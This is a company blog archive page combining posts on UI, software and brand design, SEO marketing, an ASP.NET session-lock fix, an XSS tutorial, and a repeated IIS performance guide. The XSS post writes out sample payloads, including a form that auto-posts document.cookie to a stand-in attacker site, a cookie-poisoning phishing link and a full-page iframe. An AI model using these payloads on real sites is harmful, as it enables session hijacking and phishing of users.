Author Archives: Vervelogic

About Vervelogic

Vervelogic --

User Interface Designing

Designing an effective User Interface:

User Interface (UI) Design essentially refers to anticipating end user needs and goals and ensuring components of interface are designed in a manner that makes them easy to grasp, access and use by the end user to attain their end objective. UI designing involves all the 3 elements of visual design, interaction design as well as information architecture.

User Interface design is based on 3 fundamental principles:

blog

 Below are some tips to keep in mind while UI designing :  

  • Start the process of designing keeping the user in mind. Focus on what the user wants or expects to create an interface that lets end users achieve their objective.
  • An interface should first and foremost have clarity. Users should be able to clearly recognize what it stands for, its purpose and interaction with other elements on the site as well as the outcome of using the interface, to be able to motivate them to use the interface as ultimately interfaces are built to promote interaction.
  • Ensure consistency in your interface design so that users are assured that once they learn to perform a particular action, they will be able to repeat the outcome with that action. A consistent interface helps users build understanding of the product or application over a time leading to increased efficiency with the same application which in turn drives them to use it more and more.
  • Ensure the interface is designed in a manner that places control in the hands of the end user. They should be able to predict with accuracy the outcome of an interface and what is expected at every step of the interface. Any unnotified changes and surprises takes control away from the user making the interface less desirable and eventually less used.
  • Design the interface in a manner that allows single one key action per screen as screens that permit more number of actions end up becoming confusing and chaotic for the end user. Each screen should be designed to support one key action that adds value to the end user with one or more secondary actions which complement the main action.
  • The test of a great user interface design is when it does not distract the user from the objective. A great interface design brings different elements together so seamlessly as to appear almost invisible from the rest and lets the user focus on the application and its use rather than any one particular element.
  • One major reason why many interfaces end up being poorly designed is primarily due to the lack of a clear visual hierarchy. An interface should put the focus on what is the most critical element for the user to catch attention through the use of color, size and placement of each element. A poorly designed visual hierarchy does not provide users with a clear signal as to which element they should be focusing on leading to confusion.

At the end of the day an interface is designed in order to be used and hence its success can be best measured when people choose to use it because they have liked it. If users have chosen not to use an interface, even if it is a beautifully designed interface worthy of winning awards, it is of no use and is eventually discarded for a more practical usable interface. Interface design therefore has as much to do with creating an ecosystem for its use as it is about designing an interface worthy of use.

Software Development

Software development essentially refers to the development of a software product, from the initial conception of the required software right through to the final product undertaken through a structured process including research, development, prototyping, modifying, re-engineering, deployment and eventually maintenance.

There are primarily 3 broad reasons why software development takes place

  • To meet the business needs of a specific client as with customized software.
  • To meet the perceived needs of a specific set of potential users.
  • To meet personal needs like automating a set of tasks.

SDLC or Software Development Life Cycle refers to the phases of software development, or in other words management of the lifecycle for an application or a piece of software. The objective behind implementing SDLC is to ensure that the software developed, is of high quality, effective and cost-efficient as well.

Software Development Life Cycle can be broken down into the following phases of development:

There are essentially 2 methodologies of implementing Software Development Life cycle :

  • Requirement Analysis is the first step in the process of software development where the end user has to provide information regarding the specific need as well as eventual use of the software to ensure that the software engineer is able to develop software capable of meeting the actual need.
  • Specifications is the process of detailing out the software to be written as per the need in a mathematical representation.
  • Software Architecture refers to the phase where the system is represented in abstract to ensure that the software is being designed as per the requirement both current as well as future.
  • In the Implementation stage, the software design is broken down into coding language.
  • System Testing is done to ensure that the code is error free and will produce the desired result.
  • Documentation of the design and coding structure is done with the objective of future support and enhancements.
  • Training and support for the end users is offered till they are able to independently run the software without any glitches.
  • Maintenance and software enhancement is applicable both to the existing system as well as addition of new modules and applications to the existing design based on new and changing requirements.

soft1

Agile methodology is currently the more favored methodology due to its flexible nature as it can convert an application in development into a complete product release at virtually any stage, making it ideal for application updates.

Most software Organizations are opting for implementing process methodologies to ensure quality benchmarks in development. The CMM (Capability Maturity Model) is considered the most superior, although there are host of others like ISO 9000, ISO 15504, and Six Sigma.

With desktop PCs losing ground to tablets and smartphone usage,a growing trend in software development is that of mobile apps and Web services. Most software development companies are adapting their existing tools & skill sets to make the most of these emerging trends.

Some of the other emerging trends in software development include:

soft2

Technologies such as cloud computing have rendered business processes a lot more convenient & flexible. With Its ability to function as a deployment model it saves on investment and resources.

Location based software development is another trend that is here to stay. Its popularity can be gauged from the fact that most mobile devices are GPS enabled & check-ins on various social media is gaining traction.

Clearly flexibility, efficiency & cost saving are 3 principles guiding the software industry, impacting the entire Information Technology ecosystem.

Brand Designing

Seth Godin defines the brand as “the set of expectations, memories, stories and relationships that, taken together, account for a consumer’s decision to choose one product or service over another. If the consumer (whether it’s a business, a buyer, a voter or a donor) doesn’t pay a premium, make a selection or spread the word, then no brand value exists for that consumer”. Brand Design, is the process or methodology of carving a unique identity for the purpose of communicating and promoting a person, product, service or organization, referred to as the brand.

The process of Brand design is not restricted merely to designing a visual identity but extends to the entire process of communicating a consistent image to the world. Whether it is a simple visiting card or a highly complex interactive website, a brand design needs to create a unique but at the same time instantly recognizable identity for the brand to promote brand loyalty. The whole process of Brand designing can be broken down into the following steps:

  • ·         Step 1 – Establish Vision, take Design brief and conduct research

As this is one of the most crucial steps in the design process, enough time needs to be devoted to conducting a thorough market analysis and consumer research to understand current market needs and messaging. Designers also need to ensure a complete understanding of the brief from the client on the purpose of the brand and desired brand identity and personality. Some key questions that need to be answered at this stage include:

Untitled

  • Step 2 – Create Logo, Visuals and Styling Guidelines

Designing a logo essentially involves sketching innumerable iterations on paper to finally arrive at a logo that is in sync with the design brief. Once the concept is final on paper, digital iterations need to be done to arrive at a final digital logo image. Once the logo is designed, an identity system or visual language around the logo aligned to the design thought process of the logo is done. This identity system around the logo is required while creating a brand marketing collaterals. Style guidelines, laying down the detailed rules or guidelines for styling, layout and usage of the logo like typeface pattern, color palette etc. is also created to help marketers create a consistent brand image.

  • Step 3 – Monitor and Rebrand

This step comes into effect once the brand has been launched with its new design identity. It is important to monitor the brand to ensure that no untoward associations or perceptions are built around the brand. Also, since consumers and markets evolve over time with changes in preferences and usage patterns, a rebranding exercise to create a new identity for your brand which connects with your past but engages with the audience in a fresh manner will be required.

Brand Designing, by its very nature is a highly complex and evolving discipline which needs a thorough understanding of design elements and their interplay with each other to create a powerful sustained imagery in the minds of people.

UX Design- The driving force behind a website’s success

The Web has undergone a dramatic transformation in the current decade. Some important changes that have impacted web designing are :

  • Increasingly complex and feature rich websites.
  • Variety of platforms available to users for accessing websites including mobiledevices and a variety of browsers and Internet connections.

One common factor among websites that have consistently stood out amidst the clutter, is that they are convenient and simple to use. User experience designing has become the driving factor behind how websites are designed and developed, as experience of people visiting the site becomes an indispensable component for the website’s success.

Similar to an architect, User Experience Designers provide the framework or platform with the objective of making websites simple, efficient and effective to use. Broadly, User Experience Design refers to creating user-centered practices with regard to design, as well as the use of processes that result in generating positive effects in users. UX design essentially caters to all stakeholder interests, be it marketing, branding, visual design or utility.

Responsive designs capable of building and displaying interfaces and content across a comprehensive range of devices with different screen sizes, are required to meet the advancement in web technology. Among other factors, UX design enables websites to be built in such a way that website layout is able to adapt to the device screen size.

Designing in India is a very old activity but a very young profession. As such UX design India, is still evolving, with only a handful of agencies having the ability to provide world-class UX designs to cater to a global audience. Startups and smaller companies are typically the main users of UX Design in India since creating an excellent experience for visitors in the initial stages of a product or service itself, makes the website stand out vis-a-vis competition and creates a pull factor to garner more visitors.User experience designers in India typically design with the objective of creating easy to use website or applications, enabling quick and clear communication of the purpose of the site or application and enhancing the value perception of a website or an application.

Verve Logic, a UX Design Company, India, employs the following methodology while engaging with clients for UX designing.

ux

 

Verve Logic is an industry leader with proven expertise in providing technological solutions to meet complex business needs. With the motto of converting the client’s vision into success stories, Verve Logic provides a comprehensive range of technology services to exceed client expectations each time.

Strong technical expertise& across disciplinary team, At Verve Logic, ensures that all key factors that contribute to good UX design are taken care of:

ux4

The UX Design capabilities can cater to all types of business requirement, ranging from highly simple systems to extremely complex ones. This UX Design Jaipur based firm, specializes in designing highly interactive feature rich applications, especially suited for e-commerce websites. The use of an Agile Methodology At Verve Logic ensures that the UX designs turn the websites into enduring success stories.

 

Specialized Local SEO Practices

An experienced technical team armed with best-in-class technological know how at Verve Logic, effectively optimizes your website for search.

White Hat SEO practices at our end are aimed not just at improving your site’s search engine ranking, but also complete SERP domination. A multi disciplinary approach goes into Search Engine Optimization services that are customized to the client’s unique requirements. A thorough domain research precedes every SEO process, as a one-size-fits-all policy cannot do justice to varying client requirements.

The following elements form an integral part of our SEO services:

seo

Our specialized Local SEO practices go a long way in establishing SERP dominance, which is especially relevant for products & services having a localized client base.

We also undertake reputation management projects, which have a great contribution in presenting a positive online image for your brand.

The growing importance of Social Media Networks, have opened up a plethora of opportunities for businesses to connect with their target audiences. Effective use of the social media coupled with optimized search, bring unparalleled advantages for businesses. Verve Logic brings in its specialized expertise in the domain, resulting in high ROI.

At Verve Logic, a lot of attention is paid to continuous tracking, monitoring & reporting of progress. Our strategic teams undertake SEO audits of the website along with an in-depth competitive SEO analysis, to enable businesses to be on top of the game.

With Verve Logic’s Search Engine Optimization Services, you can be assured of impactful results.

Revisiting ASP.NET Session State Locking

I was recently working on classic WebForm asp.net file upload task for one of my customers. He wanted to show the actual progress of the file being uploaded. For that, I used Session variable to keep track of every bit saved to disk and how much is left that keeps getting updated from the page doing the upload task. To show continuous progress to the user, I created one more web method to display the progress by doing a look up on Session variable.

Interestingly, I started seeing strange issues. Access to web method from my jQuery plugin was blocked by asp.net till the time file upload was happening, defeating the purpose of displaying progress. All web method calls were queued and got released only when file upload happened successfully and finally displayed progress to the user after file upload was done. Almost tried everything but no success 🙁

RESOLUTION

After lot of debugging found out that Session locks were preventing concurrent access to two different calls. By default, all pages have write access to Session. It allows page to hold reader/writer lock on same session for the duration of the page request. As a result, all other calls will go sequential until the previous request finishes.

By doing EnableSessionState to Readonly on required page(s), only writer lock is acquired by page(s) but concurrent reads from other pages/requests can happen, and that solved my problem!

I know it’s a pretty old topic to discuss but thought of sharing this with community. It might save some of your time 🙂

More information on session state implementation in asp.net: http://msdn.microsoft.com/en-us/library/aa479041.aspx

Thanks,
–Parag

Cross site scripting: Common threats in web applications

Introduction

The HTML output used to create the front end of the web applications generally contain some client side executable code. This code runs at the client end, and helps to give some performance boost as well as common validations to be performed at the client end. Another use of this code could be showing ‘hot images’, i.e. mouse rollover images at the client end.

To achieve this target, there are a number of popular technologies available, e.g., JavaScript, VBScript, ECMA script (European Computer Manufacturer Association). All these scripts run at the browser of the end user and provide dynamic contents to the site. We can specify the script code as inline or using a src file (<script type='text/javascript' language='Javascript' src='Includes/common.js'>). Using the src helps the code to look clean. So here we can understand that for the browser, <script> tag works as something to be run locally. Please don’t confuse this with <script runat =”server”> of the .NET languages. For an example, the following script will produce a simple hello on to the browser of the client. This script will use the client side OS API to show the message box.
<script>alert(‘hello’)</script>

Problem

The problem is mixing of the data with the code. We can say that the HTML is the data for the browser which when processed by the browser results in beautiful HTML in action, however the <script> tag is the code embedded in the data.

How cross site scripting works

Cross site scripting which is also referred as XSS (since CSS will make confusion with Cascading Style Sheet) takes the advantage of the above said problem i.e. mixing of data with code. This is generally applicable where an application takes input from the end-user and displays the same input to the browser. Or where application takes HTML input from the user and shows this input to the other users. For e.g., let us consider a dummy search page. It works using the GET method of form post. This page consist of one textbox, one button, one dynamically generated table and one heading which tells about the text on which the search is made. Suppose heading has got some text like ‘Your search on’ + <USERINPUT> + ‘returned following results:’. Now if user searches for ‘donuts’, he will be shown the results in a dynamic table, and the text will have the following:
Your search on donuts returned following results:
If the search text is being shown without taking care of the XSS and some malicious users search on text like <script>alert(‘hello’)</script>, then the header label instead of showing:
Your search on <script>alert(‘hello’)</script> returned following results:
will execute the script and a message box with hello will pop up there. And now if the malicious user sends the URL (as this page works on the GET method, so URL will be easily available here) to some victim, then this message box will appear in his browser.

Kinds of cross site scripting attacks

There are two ways in which one user can see the data sent by another user. He can see that data immediately (chat sessions) or he can see it later (archived). So based on the above fact, we can say that XSS can be categorized in two categories:

  • Persistent attack
  • Non persistent attack

Persistent attack

In persistent attack, the malicious user will give the input to some part of the application and later this input will be available to public or say other users. The common form of this kind of application could be dating sites, sites asking for the users for open ended comments, sites asking the user to fill guest books. May be for the purpose of freedom, the application has overlooked the danger of the XSS attack and allowed the user to put HTML so that the end user can beautify his input by putting the tags. A malicious user can take the advantage of this freedom and put the client side script in the response he is giving. After the malicious user saves his input, the information provided by him becomes part of the database and later any user who is viewing this info may fall as a victim.

Non persistent attack

In these attacks, the data input by the malicious user is directly presented to the user. There is no intermediate persistent storage involved in it. This attack generally takes place in the form of malformed URL being sent to the victims. There could be applications like HTML based chat where the user is allowed to put HTML data. However HTML chat which is using a text box to show the output is safe as a text box will only show the contents of the script instead of executing the script.

What does an attacker do by doing cross site scripting attack?

Session highjacking

Before going in to the details of what an attacker can do, let us first see how the web works.

WWW relies on the HTTP protocol. HTTP requests mainly consist of two parts: message header and message body. For the description of these parts, please refer to the RFC for HTTP. The header contains the general information like client software name, referrer, executing script path, while the body is made up of name pair values of the controls on the form. (A form can be, the HTML way of making a common request to go on a particular web address.) HTTP is a stateless protocol. It means that the server can not distinguish between two clients. To overcome this issue and let the server determine client X from client Y, we have the concept of session on the web servers. Session is based on an ID known as session ID. So each time clients send their session ID to the server so that they can be recognized by the server. This ID is unique for each client and this ID is time bound too. That means this ID is valid only for a given time slot. So to return this ID back to the server, the client can either put it in the part of the request or he can put it in the header of the request. If the session ID is in the request, then it is non cookie based usage. If the session ID is part of the headers, then it is a cookie based usage. ** Cookies may contain any data like the application logic and are used to maintain state between pages in the otherwise stateless HTTP protocol.

So the point I am trying to make here is, if user A has the cookie which the server sent to user B and user A uses this cookie, then for the server he is user B not the user A. An attacker tries to exploit this stateless architecture by doing a cookie theft using the XSS attack. After attacker gains the cookie, it is just a matter of time to send this cookie to the web server and spoof the identity of some other user. To get the cookie using a script attack, attacker needs to craft a special form which posts back the value of document.cookie to his site.

Cookie poisoning

Some of the sites may use cookies to present personalized look and feel to the user. They may store user preferences and other user related information in the cookies. However, if such a site is vulnerable to XSS attack, then the attacker can use the cookie to manipulate the data silently, and then when the cookie will be used next time, the end user may suffer from some problem. Here again, document.cookie is used to manipulate the existing cookie value with some script. However this attack is possible if the application blindly writes the cookie value to the output stream.

Malformed URL

Using the XSS attack, a clever attacker can fool the end-user to get the credit card number. For this the attacker can make use of the ‘a href’ tag inside his vulnerable script, this link may take the user from your site to the attacker’s site where he can show a screen similar to the spoofed site and ask for a donation or upgrade of the membership. The amount could be as low as 1$ because not the amount but the credit card number is the main target for the attacker. Phishing attack is one such attack.

IFRAME

Attacker can use one IFRAME tag with height and width set to 100% and then instead of your page, the end-user will be presented with the attacker’s page. So for the end user, it will be your site as he is able to see your address on the address bar but actually the attacker is playing with him.

DOS Attack

DOS stands for the denial of services attack. To do a DOS attack on a particular page of your site, attacker can make a script which will run at a particular time interval, say 20 ms, and then execute the code. In this case, a simple message box is enough. Though, not a deadly attack, it still frustrates the customer visiting your ecommerce site. Showing comments of buyers may be a trap here.

The attack list is continuous and ongoing and it may even cause the theft of local files data from the system. May be getting a Trojan downloaded to the client without even clicking on any link.

Prevention from script attacks

Script injection and the ValidateRequest = ‘true’ page tag of ASP.NET: ValidationRequest = true generally checks for the insecure input from the client and it bans any HTML tag by default. However, when I wrote this article, it was not checking for the HTML tag passed as <%00 tag here>. E.g. <%00 font>. Making it to false is a good idea if you are expecting the client to fill the HTML input. However, you should thoroughly check the input for any script tag.

Using Regex: Using regular expressions to check for the client side input is a good idea, but the attacker may pass the data in encoded form rather than sending it in plain text format.

Using server.HTMLEncode (.NET): Though this is a function from .NET, many of the modern web technologies provide similar kinds of functions. You can use these functions to show the input from one user to another user. These functions convert HTML tags in to the encoded form. So, instead of executing, the script gets rendered on to the page. So basically here I mean that encode the incoming < and > signs.

Using the double quotes: If you use the user input to generate a link than instead of rendering the plain text, you can put the input in double quotes and show it to the user. E.g., <A href="<user input>">. This approach works as the escape character in the client side script in a single quote not the double quote.

** You also need to take care about the encoding issues as the attacker may encode the exploit string and your prevention may fail to catch it.

Examples on XSS

To make it simple, we will assume one code snippet of ASP application which is vulnerable to the XSS attack <% Response.Write (“Your search on’” + Request.Querystring(“SearchString”) + “returned following results:” ) %>. All the following examples will consider this code as the base code and you need to pass the JavaScript code as the value for the SearchString parameter value. Here, I have taken the ASP example, however the cross site vulnerability is very common to all most all web technologies as well as complied script files (.chm). The point is, any application which is mixing HTML data with script code and ignoring the user input sanitary, is susceptible to the XSS. Let us see how attacks is going to exploit the above query string variable.

Please also take care that query string is just one of the methods. Here, instead of the query string, the input may come from the cookie or database and if the input contains the exploit string, it can cause problems. The above shown example is the type of non persistent attack. However, if instead of query string, input was from cookie or database, it will be persistent attack session highjacking. To highjack the session, attacker needs to obtain the cookie from the victim. So he needs to create one form and make it submit to his site. This form will contain the value of the cookie in it, since the attacker knows of his site action, he knows which cookie is for which site.
</form> <form name=’a’ action = ‘attackersiteaddress’ method =’post’>
<input type = hidden value= ‘<script> + document.cookie + </script>’>
</form>
<script>a.submit()</script>
The above script will post the cookie value to the attacker site and then he can form one request and attach cookie value to it and gain access to the site. The above script can be made to run on the various events like page load, mouse over, mouse click etc. to submit the form, or attacker can simply use the setTimeout method to make the form post.

Cookie poisoning: Cookie poisoning deals with corrupting the values of the cookie and also some part of the application is relying on the cookie to set the response.write. In our example, let us assume that cookies are used to store the value of the last search done by the user along with the date-time. Cookie poisoning generally includes the offline analysis of the site by the attacker. I.e., the attacker will first visit the site, then he will analyze the various cookies which got downloaded and then craft the attack.
<script> document.cookie.userlastsearch = ‘<A href=”attackersiteAddress”>
you have won a random prize please click here to continue</A>’
</script>
Here the attacker has updated the value of the last search with an href pointing to his site. There he may ask the user to ‘login again to claim your prize’. The cookie here is poisoned and the user will be affected each time he visits the site and unless he deletes his cookie cache he will see this message. So initially the attacker can bait him with 5$ and later ask him to pay 50$ for some wonderful product which your site is giving him.

IFRAME: IFRAME is an HTML tag and this even doesn’t need a script tag to display. The IFRAME element defines an inline frame which can include the external objects including other HTML documents. So the attacker will simply write a statement like this:
<iframe SRC=”attacker site” height = “100%” width =”100%”>
And there he can fool the user by showing the UI which has the same look and feel as that of your site.

DOS Attack: There is nothing but a simple function call to setTimeout with the time interval set, say 10, which will cause some code snippet to execute again and again. However, this code snippet could be as simple as one user-friendly OK dialog box or redirection to some other site from your site. If the user does so, that particular page where attack has been made will become unavailable or horribly available to the end user. Think a scenario where you are using the cookie to set some session value (this seems to be a bad design), then wherever you have used the session value to render the message to the user, all those pages will be unavailable.

Finally, I would like to conclude with one sentence that if you have a weapon and a victim, it all depends on you how you want to kill the victim.

Thanks,
— Amit

Troubleshooting Web Application Performance

Every app is different and every server is different. It’s only through extensive understanding of the application that decision can be made to improve its performance. There are no specific set of rules we can define that will ensure app will run with great performance on a given server. Only thing we can do is to come up with a framework/checklist that we might want to review.

So let’s start by defining key performance pillars:

End user – defines performance of the site as viewed by the end user. For example, do customers notice that how long it takes to render, what’s the speed, is it fast enough etc.

Throughput – measuring per second values (Request, bytes and connections) which apply at several levels like, Farm, Server, Website, Application Pool, and even URL users are browsing.
Capacity – How much we can support in terms of Users, Connections, Throughput, and Content etc.

Scaling – a way to fix performance problems.

After we have listed out key performance pillars, we need to measure them.

Measuring End userUse (or may be test) the site as end users would use. What is their connection speed, check out for client or proxy caching happening, what browsers (with versions) are used to browse the site etc. One thing we need to keep in mind that application is developed and tested in high speed LAN and conditions will not be same when deployed on internet where still most of the users are running on modem and low speed connections. So customer experience and your experience will be different.

But the challenge is we really can’t get all our customers so best we can do is to bucket-ize the customers and put them into groups like how much % of them are modem users, how many are on high speed connections, how many have direct T1 lines etc. Now the question is, how do I find those buckets? What are the best tools to capture and report such data? One of the tools is Log Parser.

It’s an extensive tool that will help us to analyze IIS performance by parsing IIS logs. We will also look out for different type of browsers being used and how long these request takes. This tool can be executed through command line and it expects a query (almost similar to SQL syntax) for performing heuristics on a given log.

For example, we will write a script that will return type of browsers used to browse the website.

%logparserinstalldir%> logparser.exe GetBrowsers.sql GetBrowser.sql

SELECT TOP 10 to_int(null(100.0,propcount(*))) as Percent Count(*) as TotalHits cs(user-Agent) as Browser FROM   %logfile% GROUP BY Browser ORDER BY TotalHits desc

Percent Total Hits Browser
15 771 MSIE 6.0
50 565 MSIE 7.0
10 109 Some other browser …

Why is that important to know about browser? It is because each browser has a different caching technique, rendering mechanism etc. Accordingly we may want to change output HTML along with header for better performance.

We can start identifying important page(s) that users could be hitting and what is the average, maximum, minimum and hit count for such page(s).

SELECT to_lowercase(cs-url-stem) as URL AVG(time-taken)  as AvgTime MIN (time-taken)  as MinTime MAX(time-taken) as MaxTime count(*)  as HitCount FROM   %logfile% WHERE URL  = ‘/default.asp’ GROUP BY URL

Script below will list out clients connected (requesting something) and we will try to identify slow connection(s).

SELECT c-ip as Client Avg(sc-bytes) Avg(time-taken) to_int ( mul ( div (to_real (sc_bytes), case avg(time-taken) when 0 then 1 else avg(time-taken)), 1000 ) ) as BytesPerSecond Count(*) as Hits FROM   %logfile% WHERE sc-bytes  >  1 and time-taken > 1000 [ where condition to ensure that we are taking connections that did not get dropped. 1000 is measured in milliseconds which means 1 second] GROUP BY  Client, cs(user-Agent) HAVING       hits > 1

By running above query we can find out slowest client . It could be possible that it is one of the most important clients. This does not mean that server is performing badly nor has a fast connection to internet rather it seems that client is on slow connection may be modem. It gives us few points to discuss. For example, can we do something to reduce the payload (IIS compression is one way to achieve it) so that app works for slow clients as well?

Measuring Throughput Performance monitor is the key way to learn what the throughput is. However it does only at server and site level. But we can use log parser for other levels for example, for URL, we can use log parser to know URL request per second/hour/minute and no of bytes transferred to different clients as we see in above examples.

ETW (Event tracing for windows) is yet another excellent tool to understand performance, throughput of the server and other issues through extensive logging mechanism. It traces each and every call within the server till the time request reaches to server (HTTP.SYS in case of win 2k3) and served back to the client, what all operations are involved for that individual request. I would like to take an example, where ETW tracing proved to be useful in diagnosing performance issues. After publishing a website to another server, very first request to any aspx/asp page was taking huge amount of time. Running an ETW trace on that server resulted in a log file upon investigating which it was found that first request was taking long time because of ISAPI filter installed on top of IIS was taking long time to load hence blocking all other operations.
Now we can understand & define performance and know some ways to measure it we will move on to how we can improve performance of a given web application. Again, there is no defined way to improve the performance. It includes making guesses, see if they work, if they do, celebrate and make another guess. If they don’t, undo it and make another guess.

Improving end user performance In the internet

scenario we can define key issues: –

Download time

According to a survey, still more than 50% of internet users still have narrow band connections let’s say, modem. So if testing and verification is done in a high speed LAN environment, we cannot understand and foresee customer problems that might be running on narrow band connection.

So specific items we can look at to address such key issues are: –

  • Download size is performance key driver on low band connections. How do we fix download size? One of the best ways is to enable IIS compression.
  • Try to split up the helper content (style sheets, client side scripts). For example, if you don’t need a specific JS function/Style sheet for a page currently being requested, do not download it!! Download it only when you need it.
  • Do not make copies of things (script code, style sheets etc.) that are being downloaded and have duplication in website. Let’s understand it with an example,

Bad CSS (Replication of data)
.article-ByLine  { font-family: Tahoma,sans-serif; font-size: 9.5pt; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-Caption {font-family: Tahoma,sans-serif; font-size: 8pt; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-Headline { font-family: Tahoma,sans-serif; font-size: 14pt; font-style: normal; line-height: normal; font-weight: bold; color: #000000}
In above example, highlighted text is same for each definition except font-size. It results, in increased payload. Same CSS can be represented as: –
BODY {font-family: Tahoma,sans-serif; font-style: normal; line-height: normal; font-weight: normal; color: #000000} .article-ByLine {font-size: 9.5pt;} .article-Caption { font-size: 8pt} .article-Headline {font-size: 14pt;font-weight:bold}

  • Set HTTP expire header for all images and for HTML so proxy servers & browsers make fewer calls to web serve. For more information, visit Content Expiration.
  • Use SSL certificates only when needed and only for content that requires security. Because SSL uses complex encryption that consumes considerable processor resources, it takes much longer to retrieve and send data from SSL-enabled directories. Also, keep these pages free of other elements that consume resources, such as images.
  • Another thing to verify is “connection=keep-alive” state for each TCP connection. If it is turned off every file requires a new TCP connection which is not good for a slow connection.
  • Set expiration dates on files – When customer returns to a web page, IE already has most of the files for the page in its cache, but it does not use these files if the expiration dates are in the past. Instead, IE sends a GET request to the server for the file, indicating the date of the file in the cache. If the file has not changed, the server sends a Not Modified message. This GET/Not-Modified sequence costs the client a roundtrip.
  • Identify slow loading files which will provide clues what needs to be improved. Causes of very long load times can include server capacity issues, network congestion. This data can be collected by running log parser on IIS logs or by using ETW tracing mechanism.
  • Files often contain TABS, spaces, newlines, and comments contributing some % of page size. Try removing those.

Hardware Resources
If CPU is the issue, think about caching so that we don’t compute so often. Is HTTP compression causing this to happen etc.?
If memory is an issue, check if we are caching too much, how many copies of same data we are caching etc. So there is a tradeoff, which is hitting you much, CPU or Memory and take the judgment accordingly. You can monitor memory by making use of existing performance monitor counters. Here are few of them: –

  • Monitoring Available System Memory – Memory\Available Bytes,
  • Monitoring Paging – Memory\Page Faults/sec, Memory\Pages Input/sec, Memory\Page Reads/sec, Memory\Transition Faults/sec (If these numbers are low, server is responding to requests quickly. If these numbers are high, investigate whether we have dedicated too much memory to the caches, leaving too little memory for the rest of the system. If reducing cache sizes does not improve system performance, we might need to increase the amount of RAM on server)
  • To know more about IIS performance counters, visit http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/0a6c9f07-a70c-4c3d-b93d-5dfef593c744.mspx?mfr=true.

If disk is slow determine who is causing file access. Best tool available for this purpose is Filemon. For example, it could be possible that web site logging is turned on causing several file I/O’s hence degrading the performance.
Till now we have discussed key performance pillars, how we can measure them and ways to fix them.
Performance issues can be difficult to troubleshoot and often take a long time to determine the root cause & resolve. This process can be less painful if we collect good data and then use that information further to solve the issue. So how can we collect good data? By asking as many questions we can. For example,

  • When the problem did started happening? Was there any change or update on the server prior to the problem?
  • What are the different symptoms? Is there one or more error messages shown?
  • Is there a High CPU on the server at the time of the problem?
  • Is the worker process consuming high memory (Approx 500-600MB+) at the time of the problem?
  • What are the technologies (including third-party) involved?
  • Are there any COM/COM+ components being used? If so, are they STA or MTA?
  • Does the problem happen at a specific interval?
  • Do ASPX/ASP/ HTML pages in the same/different Applications on the same server work fine?
  • Is the issue specific to any pages in the application or only to some pages?
  • Does a simple hello world aspx page work fine?
  • What is the architecture of the application?
  • Is Data Access involved? If so, does the issue happen with any page connecting to a particular database?
  • If Data Access is involved, does any page that does not do data access work fine?
  • What is the application workflow with respect to the current problem?
  • What are the steps to repro the problem?
  • Is problem reproducible in test environment?

Once we have gathered the above data I am pretty sure we will have a good idea on where to focus. Based on symptoms and data we need to decide if the problem is on client side, server side, database/other tier or combination of one or more of these. There are several tools available that can now assist us to find root cause.

  • Network monitoring tools (netmon) can be used to examine network related problems, page rendering delays etc.
  • File monitoring (filemon) and Registry monitoring (regmon) tool can help us in identifying file system and registry based access issues.
  • ETW (Event tracing for windows) which can be used to trace internal IIS/kernel (HTTP.SYS in case of win2k3) events and pinpoint web bottlenecks on the server and often determine where to tune server for improved performance.
  • WinDbg/CorDbg – Used for advanced debugging by analyzing memory dumps on production server without even going through source code.

I hope this article gets you going to start troubleshooting and analyzing performance issues for a given website hosted on IIS.
Until next time,
–Parag

Troubleshooting Web Application Performance

Every app is different and every server is different. It’s only through extensive understanding of the application that decision can be made to improve its performance. There are no specific set of rules we can define that will ensure app will run with great performance on a given server. Only thing we can do is to come up with a framework/checklist that we might want to review.

So let’s start by defining key performance pillars:

End user – defines performance of the site as viewed by the end user. For example, do customers notice that how long it takes to render, what’s the speed, is it fast enough etc.

Throughput – measuring per second values (Request, bytes and connections) which apply at several levels like, Farm, Server, Website, Application Pool, and even URL users are browsing.
Capacity – How much we can support in terms of Users, Connections, Throughput, and Content etc.

Scaling – a way to fix performance problems. After we have listed out key performance pillars, we need to measure them.

Measuring End user Use (or may be test) the site as end users would use. What is their connection speed, check out for client or proxy caching happening, what browsers (with versions) are used to browse the site etc. One thing we need to keep in mind that application is developed and tested in high speed LAN and conditions will not be same when deployed on internet where still most of the users are running on modem and low speed connections. So customer experience and your experience will be different.

But the challenge is we really can’t get all our customers so best we can do is to bucket-ize the customers and put them into groups like how much % of them are modem users, how many are on high speed connections, how many have direct T1 lines etc. Now the question is, how do I find those buckets? What are the best tools to capture and report such data? One of the tools is Log Parser.

It’s an extensive tool that will help us to analyze IIS performance by parsing IIS logs. We will also look out for different type of browsers being used and how long these request takes. This tool can be executed through command line and it expects a query (almost similar to SQL syntax) for performing heuristics on a given log.

For example, we will write a script that will return type of browsers used to browse the website.

%logparserinstalldir%> logparser.exe GetBrowsers.sql GetBrowser.sql

SELECT TOP 10 to_int(null(100.0,propcount(*))) as Percent Count(*) as TotalHits cs(user-Agent) as Browse FROM   %logfile% GROUP BY Browser ORDER BY TotalHits desc

Percent Total Hits Browser
15 771 MSIE 6.0
50 565 MSIE 7.0
10 109 Some other browser …

Why is that important to know about browser? It is because each browser has a different caching technique, rendering mechanism etc. Accordingly we may want to change output HTML along with header for better performance.

We can start identifying important page(s) that users could be hitting and what is the average, maximum, minimum and hit count for such page(s).

SELECT to_lowercase(cs-url-stem) as URL AVG(time-taken)  as AvgTime MIN (time-taken)  as MinTime MAX(time-taken) as MaxTime count(*)  as HitCount FROM   %logfile% WHERE URL  = ‘/default.asp’ GROUP BY URL

Script below will list out clients connected (requesting something) and we will try to identify slow connection(s).

SELECT c-ip as Client Avg(sc-bytes) Avg(time-taken) to_int ( mul ( div (to_real (sc_bytes), case avg(time-taken) when 0 then 1 else avg(time-taken)), 1000 ) ) as BytesPerSecond Count(*) as Hits FROM   %logfile% WHERE sc-bytes  >  1 and time-taken > 1000 [ where condition to ensure that we are taking connections that did not get dropped. 1000 is measured in milliseconds which means 1 second] GROUP BY  Client, cs(user-Agent) HAVING       hits > 1

By running above query we can find out slowest client . It could be possible that it is one of the most important clients. This does not mean that server is performing badly nor has a fast connection to internet rather it seems that client is on slow connection may be modem. It gives us few points to discuss. For example, can we do something to reduce the payload (IIS compression is one way to achieve it) so that app works for slow clients as well?

Measuring Throughput Performance monitor is the key way to learn what the throughput is. However it does only at server and site level. But we can use log parser for other levels for example, for URL, we can use log parser to know URL request per second/hour/minute and no of bytes transferred to different clients as we see in above examples.

